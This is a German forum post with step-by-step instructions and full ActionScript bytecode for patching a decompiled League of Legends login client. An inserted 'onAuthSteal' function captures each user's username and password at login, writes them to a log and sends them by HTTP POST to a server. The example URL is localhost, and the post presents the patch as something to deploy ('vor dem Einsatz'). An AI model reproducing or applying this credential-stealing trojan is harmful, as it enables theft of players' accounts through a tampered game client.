Läuft jetzt wie ne 1, nochmal Danke an pr0legend
Für die Interessierten, nach dem Decompilen ist die fragliche Funktion in
\ClientLibLogin~-4\com\riotgames\platform\gameclient\module\login\controller\LoginMediator.class.asasm
Dort dann in der onAuthSuccess Funktion eigenen Code einfügen.
Bei mir
getlocal0
findproperty QName(PackageNamespace(""), "password")
getproperty QName(PackageNamespace(""), "password")
getlocal2
callproperty QName(PrivateNamespace("com.riotgames.platform.gameclient.module.login.controller:LoginMediator"), "onAuthSteal"), 2
pop
Um unsere eigene Funktion "onAuthSteal" aufzurufen. (Wahrscheinlich kein guter Name )
Diese lautet dann, um Username|Passwort an localhost senden zu lassen und Username/Passwort im Debuglog zu speichern (das solltet ihr logischerweise entfernen vor dem Einsatz):
trait method QName(PrivateNamespace("com.riotgames.platform.gameclient.module.login.controller:LoginMediator"), "onAuthSteal")
method
name ""
refid "com.riotgames.platform.gameclient.module.login.controller:LoginMediator/instance/com.riotgames.platform.gameclient.module.login.controller:LoginMediator/instance/onAuthSteal"
returns QName(PackageNamespace(""), "void")
param QName(PackageNamespace(""), "String")
param QName(PackageNamespace(""), "String")
body
maxstack 3
localcount 6
initscopedepth 0
maxscopedepth 1
code
getlocal0
pushscope
getlocal0
getproperty QName(PrivateNamespace("com.riotgames.platform.gameclient.module.login.controller:LoginMediator"), "logger")
getlocal1
pushstring "/"
add
getlocal2
add
callproperty QName(Namespace("mx.logging:ILogger"), "warn"), 1
pop
findpropstrict QName(PackageNamespace("flash.net"), "URLRequest")
pushstring "http://localhost"
constructprop QName(PackageNamespace("flash.net"), "URLRequest"), 1
coerce QName(PackageNamespace("flash.net"), "URLRequest")
setlocal3
findpropstrict QName(PackageNamespace("flash.net"), "URLVariables")
constructprop QName(PackageNamespace("flash.net"), "URLVariables"), 0
coerce QName(PackageNamespace("flash.net"), "URLVariables")
dup
setlocal 4
getlocal2
pushstring "|"
add
getlocal1
add
setproperty Multiname("data", [PrivateNamespace("Main"), ProtectedNamespace("Main"), StaticProtectedNs("Main"), StaticProtectedNs("flash.display:Sprite"), StaticProtectedNs("flash.display:DisplayObjectContainer"), StaticProtectedNs("flash.display:InteractiveObject"), StaticProtectedNs("flash.display:DisplayObject"), StaticProtectedNs("flash.events:EventDispatcher"), StaticProtectedNs("Object"), PackageNamespace("flash.net"), PackageNamespace(""), PackageInternalNs(""), PrivateNamespace("FilePrivateNS:Main"), Namespace("http://adobe.com/AS3/2006/builtin")])
getlocal3
getlocal 4
setproperty QName(PackageNamespace(""), "data")
getlocal3
pushstring "POST"
setproperty QName(PackageNamespace(""), "method")
findpropstrict QName(PackageNamespace("flash.net"), "URLLoader")
constructprop QName(PackageNamespace("flash.net"), "URLLoader"), 0
coerce QName(PackageNamespace("flash.net"), "URLLoader")
dup
setlocal 5
getlocal3
callpropvoid QName(PackageNamespace(""), "load"), 1
returnvoid
end ; code
end ; body
end ; method
end ; trait
Schöne Sache
Bearbeitet von o0o, 10 August 2015 - 03:09 Uhr.